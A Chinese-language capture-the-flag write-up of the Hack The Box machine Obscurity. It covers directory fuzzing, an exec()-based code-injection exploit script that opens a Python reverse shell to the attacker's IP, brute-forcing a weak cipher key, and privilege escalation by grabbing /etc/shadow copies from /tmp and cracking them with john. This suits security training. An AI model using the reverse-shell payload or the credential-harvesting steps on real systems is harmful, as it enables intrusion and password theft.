文章目录

  • 前言
  • 0x1 www-data
  • 0x2 user flag
  • 0x3 root flag
  • 0x4 总结

前言

这是HTB系列的第二篇,第一篇链接地址:https://blog.csdn.net/weixin_43826280/article/details/103943571

准备
Obscurity靶机地址:10.10.10.168OS:Linux
难度:中等
操作机:Kali

将靶机的ip地址加入到hosts文件中

10.10.10.168 obscurity.htb

0x1 www-data

nmap扫描

# Nmap 7.80 scan initiated Wed Jan 15 14:08:44 2020 as: nmap -sVTC -o scan 10.10.10.168
Nmap scan report for obsecurity.htb (10.10.10.168)
Host is up (0.28s latency).
Not shown: 998 filtered ports
PORT     STATE  SERVICE    VERSION
8080/tcp open   http-proxy BadHTTPServer
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Date: Wed, 15 Jan 2020 06:10:46
|     Server: BadHTTPServer
|     Last-Modified: Wed, 15 Jan 2020 06:10:46
|     Content-Length: 4171
|     Content-Type: text/html
|     Connection: Closed
..
|_http-server-header: BadHTTPServer
|_http-title: 0bscura
9000/tcp closed cslistener
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

扫描出8080和9000端口。浏览器访问8080端口

页面提示在某个目录中有SuperSecureServer.py文件,因此需要先爆破出目录。

使用wfuzz扫描目录

wfuzz -c -z file,medium.txt -u http://obscurity.htb:8080/FUZZ/SuperSecureServer.py

扫出develop目录

wget下载py文件

wget  http://obscurity.htb:8080/develop/SuperSecureServer.py

该文件如下:

import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocessrespTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}{body}
"""
DOC_ROOT = "DocRoot"CODES = {"200": "OK", "304": "NOT MODIFIED","400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND", "500": "INTERNAL SERVER ERROR"}MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg", "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2", "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}class Response:def __init__(self, **kwargs):self.__dict__.update(kwargs)now = datetime.now()self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")def stringResponse(self):return respTemplate.format(**self.__dict__)class Request:def __init__(self, request):self.good = Truetry:request = self.parseRequest(request)self.method = request["method"]self.doc = request["doc"]self.vers = request["vers"]self.header = request["header"]self.body = request["body"]except:self.good = Falsedef parseRequest(self, request):        req = request.strip("\r").split("\n")method,doc,vers = req[0].split(" ")header = req[1:-3]body = req[-1]headerDict = {}for param in header:pos = param.find(": ")key, val = param[:pos], param[pos+2:]headerDict.update({key: val})return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}class Server:def __init__(self, host, port):    self.host = hostself.port = portself.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)self.sock.bind((self.host, self.port))def listen(self):self.sock.listen(5)while True:client, address = self.sock.accept()client.settimeout(60)threading.Thread(target = self.listenToClient,args = (client,address)).start()def listenToClient(self, client, address):size = 1024while True:try:data = client.recv(size)if data:# Set the response to echo back the recieved data req = Request(data.decode())    #解码self.handleRequest(req, client, address)   client.shutdown()client.close()else:raise error('Client disconnected')except:client.close()return Falsedef handleRequest(self, request, conn, address):if request.good:
#            try:# print(str(request.method) + " " + str(request.doc), end=' ')# print("from {0}".format(address[0]))
#            except Exception as e:
#                print(e)document = self.serveDoc(request.doc, DOC_ROOT)statusNum=document["status"]else:document = self.serveDoc("/errors/400.html", DOC_ROOT)statusNum="400"body = document["body"]statusCode=CODES[statusNum]dateSent = ""server = "BadHTTPServer"modified = ""length = len(body)contentType = document["mime"] # Try and identify MIME type from stringconnectionType = "Closed"resp = Response(statusNum=statusNum, statusCode=statusCode, dateSent = dateSent, server = server, modified = modified, length = length, contentType = contentType, connectionType = connectionType, body = body)data = resp.stringResponse()if not data:return -1conn.send(data.encode())return 0def serveDoc(self, path, docRoot):path = urllib.parse.unquote(path)try:info = "output = 'Document: {}'" # Keep the output for later debugexec(info.format(path)) # This is how you do string formatting, right?cwd = os.path.dirname(os.path.realpath(__file__))docRoot = os.path.join(cwd, docRoot)if path == "/":path = "/index.html"requested = os.path.join(docRoot, path[1:])if os.path.isfile(requested):mime = mimetypes.guess_type(requested)mime = (mime if mime[0] != None else "text/html")mime = MIMES[requested.split(".")[-1]]try:with open(requested, "r") as f:data = f.read()except:with open(requested, "rb") as f:data = f.read()status = "200"else:errorPage = os.path.join(docRoot, "errors", "404.html")mime = "text/html"with open(errorPage, "r") as f:data = f.read().format(path)status = "404"except Exception as e:print(e)errorPage = os.path.join(docRoot, "errors", "500.html")mime = "text/html"with open(errorPage, "r") as f:data = f.read()status = "500"return {"body": data, "mime": mime, "status": status}

通过分析发现,程序漏洞点在于serveDoc中的exec函数,该函数未对用户的输入path进行判断就被执行,再结合python format漏洞可导致RCE。

构造exp.py

import requests
import urllib
import osurl = 'http://10.10.10.168:8080/'path='5\''+'\nimport socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.XX.XXX",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"])\na=\''payload = urllib.parse.quote(path)
print("payload")
print(url+payload)r= requests.get(url+payload)
print(r.headers)
print(r.text)

在本地使用nc监听9999端口,执行脚本后得到反弹shell。

0x2 user flag

进入/home目录,发现只有一个robert用户文件夹,进入robert查看用户文件:

经过分析,BetterSSH目录应该是模拟SSH登录,暂时还用不到。查看其余文件:
check.txt

www-data@obscure:/home/robert$ cat check.txt
cat check.txt
Encrypting this file with your key should result in out.txt, make sure your key is correct!

out.txt

www-data@obscure:/home/robert$ hd out.txt
hd out.txt
00000000  c2 a6 c3 9a c3 88 c3 aa  c3 9a c3 9e c3 98 c3 9b  |................|
00000010  c3 9d c3 9d c2 89 c3 97  c3 90 c3 8a c3 9f c2 85  |................|
00000020  c3 9e c3 8a c3 9a c3 89  c2 92 c3 a6 c3 9f c3 9d  |................|
00000030  c3 8b c2 88 c3 9a c3 9b  c3 9a c3 aa c2 81 c3 99  |................|
00000040  c3 89 c3 ab c2 8f c3 a9  c3 91 c3 92 c3 9d c3 8d  |................|
00000050  c3 90 c2 85 c3 aa c3 86  c3 a1 c3 99 c3 9e c3 a3  |................|
00000060  c2 96 c3 92 c3 91 c2 88  c3 90 c3 a1 c3 99 c2 a6  |................|
00000070  c3 95 c3 a6 c3 98 c2 9e  c2 8f c3 a3 c3 8a c3 8e  |................|
00000080  c3 8d c2 81 c3 9f c3 9a  c3 aa c3 86 c2 8e c3 9d  |................|
00000090  c3 a1 c3 a4 c3 a8 c2 89  c3 8e c3 8d c3 9a c2 8c  |................|
000000a0  c3 8e c3 ab c2 81 c3 91  c3 93 c3 a4 c3 a1 c3 9b  |................|
000000b0  c3 8c c3 97 c2 89 c2 81  76                       |........v|
000000b9

passwordreminder.txt

www-data@obscure:/home/robert$ hd passwordreminder.txt
hd passwordreminder.txt
00000000  c2 b4 c3 91 c3 88 c3 8c  c3 89 c3 a0 c3 99 c3 81  |................|
00000010  c3 91 c3 a9 c2 af c2 b7  c2 bf 6b                 |..........k|
0000001b

SuperSecureCrypt.py

import sys
import argparsedef encrypt(text, key):keylen = len(key)keyPos = 0encrypted = ""for x in text:keyChr = key[keyPos]newChr = ord(x)newChr = chr((newChr + ord(keyChr)) % 255)encrypted += newChrkeyPos += 1keyPos = keyPos % keylenreturn encrypteddef decrypt(text, key):keylen = len(key)keyPos = 0decrypted = ""for x in text:keyChr = key[keyPos]newChr = ord(x)newChr = chr((newChr - ord(keyChr)) % 255)decrypted += newChrkeyPos += 1keyPos = keyPos % keylenreturn decryptedparser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')parser.add_argument('-i',metavar='InFile',type=str,help='The file to read',required=False)parser.add_argument('-o',metavar='OutFile',type=str,help='Where to output the encrypted/decrypted file',required=False)parser.add_argument('-k',metavar='Key',type=str,help='Key to use',required=False)parser.add_argument('-d', action='store_true', help='Decrypt mode')args = parser.parse_args()banner = "################################\n"
banner+= "#           BEGINNING          #\n"
banner+= "#    SUPER SECURE ENCRYPTOR    #\n"
banner+= "################################\n"
banner += "  ############################\n"
banner += "  #        FILE MODE         #\n"
banner += "  ############################"
print(banner)
if args.o == None or args.k == None or args.i == None:print("Missing args")
else:if args.d:print("Opening file {0}...".format(args.i))with open(args.i, 'r', encoding='UTF-8') as f:data = f.read()print("Decrypting...")decrypted = decrypt(data, args.k)print("Writing to {0}...".format(args.o))with open(args.o, 'w', encoding='UTF-8') as f:f.write(decrypted)else:print("Opening file {0}...".format(args.i))with open(args.i, 'r', encoding='UTF-8') as f:data = f.read()print("Encrypting...")encrypted = encrypt(data, args.k)print("Writing to {0}...".format(args.o))with open(args.o, 'w', encoding='UTF-8') as f:f.write(encrypted)

该py文件是用来进行加解密的。通过check.txt等文件的语义推测,使用key对check.txt加密得到out.txt,passswordreminder.txt也是加密得到的密文。因此需要先解密出key。

分析加密算法,

def encrypt(text, key):keylen = len(key)keyPos = 0encrypted = ""for x in text:keyChr = key[keyPos]newChr = ord(x)newChr = chr((newChr + ord(keyChr)) % 255)encrypted += newChrkeyPos += 1keyPos = keyPos % keylenreturn encrypted

加密原理为:
将字符转换为ascii码后与key相加,再转化为字符。很简单的加密原理。

明文和密文均已知,因此直接对key爆破即可。
爆破脚本如下:

import string
with open('check.txt','r',encoding='UTF-8') as f:ta = f.read()key=''
with open('out.txt','r',encoding='UTF-8') as f:data = f.read()for x in range(len(data)):for i in range(255):ch = chr((ord(data[x])-i)%255)if ch == ta[x]:key +=chr(i)breakprint(key)

运行结果

需要注意,得到的结果是多次重复的key,因此取其原始值即可。

检验key是否正确:

解密出原文,故key正确。
尝试使用该key作为robert密码进行ssh登录却失败。

使用该key继续解密passwordreminder.txt文件,又得到一个密码
使用该密码登录SSH,成功,拿到user flag。

0x3 root flag

首先查看robert用户可以使用的sudo命令:

robert@obscure:~$ sudo -l
Matching Defaults entries for robert on obscure:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser robert may run the following commands on obscure:(ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

/home/robert/BetterSSH/BetterSSH.py文件内容如下:

import sys
import random, string
import os
import time
import crypt
import traceback
import subprocesspath = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:session['user'] = input("Enter username: ")passW = input("Enter password: ")with open('/etc/shadow', 'r') as f:data = f.readlines()data = [(p.split(":") if "$" in p else None) for p in data]passwords = []for x in data:if not x == None:passwords.append(x)passwordFile = '\n'.join(['\n'.join(p) for p in passwords]) with open('/tmp/SSH/'+path, 'w') as f:f.write(passwordFile)time.sleep(.1)salt = ""realPass = ""for p in passwords:if p[0] == session['user']:salt, realPass = p[1].split('$')[2:]breakif salt == "":print("Invalid user")os.remove('/tmp/SSH/'+path)sys.exit(0)salt = '$6$'+salt+'$'realPass = salt + realPasshash = crypt.crypt(passW, salt)if hash == realPass:print("Authed!")session['authenticated'] = 1else:print("Incorrect pass")os.remove('/tmp/SSH/'+path)sys.exit(0)os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:traceback.print_exc()sys.exit(0)if session['authenticated'] == 1:while True:command = input(session['user'] + "@Obscure$ ")cmd = ['sudo', '-u',  session['user']]cmd.extend(command.split(" "))proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)o,e = proc.communicate()print('Output: ' + o.decode('ascii'))print('Error: '  + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')

该文件主要作用是模拟ssh,通过读取/etc/shadow文件并摘取出其中有效的用户名和密码,之后与用户输入进行比较,一致则认证成功。

然而,漏洞在于,该文件在读取/etc/shadow文件后将其信息短暂地保存在/tmp/SSH/目录下,这样便可以通过脚本获取到密码信息。

使用脚本获取后,查看获取到的用户密码信息

将密码hash部分保存为pwd.txt,使用john爆破

成功得到root密码
切换成root身份

成功拿到root flag。

0x4 总结

这个靶机涉及到的知识很多,如网站目录爆破、密码学等,学到了许多。
另外,最近疫情形式仍然很严峻,希望大家都能平平安安,希望爱的人能够平平安安,开开心心。

HTB-Obscurity writeup相关推荐

  1. HTB Optimum[Hack The Box HTB靶场]writeup系列6

    这是HTB retire machine的第六台靶机 目录 0x00 靶机情况 0x01 信息搜集 端口扫描 检索应用 0x02 get webshell 0x03 提权 mfs中查找提权程序 执行s ...

  2. HackTheBox(HTB) Bagel WriteUp

    Writer: SomeB0dy Time:2023/2/20 Nmap 扫描结果 Nmap scan report for 10.129.159.83 (10.129.159.83) Host is ...

  3. HTB Busqueda WriteUP

    Busqueda Namp ┌──(root

  4. HTB OnlyForYou WriteUp

    OnlyForYou Namp ┌──(root

  5. HTB Mailroom WriteUp

    Mailroom Namp ┌──(root

  6. HTB靶场系列 Windows靶机 Granny靶机

    勘探 还是使用nmap进行侦擦 先大致扫描 nmap 10.10.10.15 Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-01 10:29 C ...

  7. 吐血规劝!程序员防猝死终极指南

    快过年了,跟我可爱的小侄子通了个电话,上来就说,"叔叔你头发怎么变少了",我很痛心,我的小侄子,年纪轻轻的,眼神已经这么不好使了.但转念一想,这也是他对我的一种关心,作为叔叔,也该 ...

  8. HTB Arctic[ATTCK模型]writeup系列7

    目录 0x00 靶机情况 0x01 ATT&CK ATT&CK能用来干什么? 网空威胁行为体(CyberThreat Actors) ATT&CK模型 TTP的定义 0x02 ...

  9. HTB HARD 靶机 Cerberus WriteUp

    Cerberus nmap ┌──(root

  10. HTB靶场系列 linux靶机 Nineveh靶机

    勘探 nmap勘探 nmap -sC -sV 10.10.10.43 Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-26 16:22 CST N ...

最新文章

  1. Centos7上openVP-密钥登陆
  2. android 内核 netlink 上报,Network Daemon(Android Netd)架构和源码分析
  3. 对比学习系列论文SimROD(二): A Simple Adaptation Method for Robust Object Detection
  4. linux笔记:shell基础-bash基本功能
  5. 电赛推迟了,回家吗?
  6. LeetCode | 3 Sum
  7. dateformat-参数表
  8. 获取别人_职场潜规则:要想获取别人信任与更多机会,先要学会勇于承担责任...
  9. flume学习(三):Flume Interceptors的使用
  10. VM12 虚拟机使用桥接模式却连不上网的解决办法
  11. 【TSP问题】TSP问题有关解法
  12. 台式计算机2017排行分析,台式电脑CPU性能排行 桌面CPU天梯图2017年9月最新版 (全文)...
  13. 计算机进入睡眠和休眠,win7中睡眠和休眠的区别
  14. outlook 2016 添加126邮箱教程
  15. 人工神经网络具有的基本属性是什么?
  16. 建模助手 | 学校项目为何多用BIM?广州实验中学给你答案
  17. 百度智能运维的技术演进之路
  18. gsoap 命令参数介绍(wsdl2和soapcpp)
  19. 29.渲染器Renderer
  20. wps表格在拟合曲线找点_请问在WPS表格中,绘制好标准曲线后,如何在这个曲线上找到准确的一点...

热门文章

  1. AMBA AHB中的retry和split的区别是什么?
  2. CleanMyMac X优秀首选第三方mac清理软件
  3. 门禁系统 java源代码_Java经典源码 门禁系统完整代码
  4. word仿宋GB2312被其他字体替换的解决方案
  5. 给小铄做的围棋入门思道导图
  6. Win10 64位 Delphi XE10 TClientDataset 访问 DataSnap 服务端故障解决
  7. C++实现贪吃蛇(控制台)
  8. LabWindows™/CVI中的多线程技术
  9. 计算机如何算同比下降计算公式,公务员考试练习:资料分析(453)
  10. asp微信点餐系统下载,asp微信扫码点餐支付,asp源码开发的mdb数据库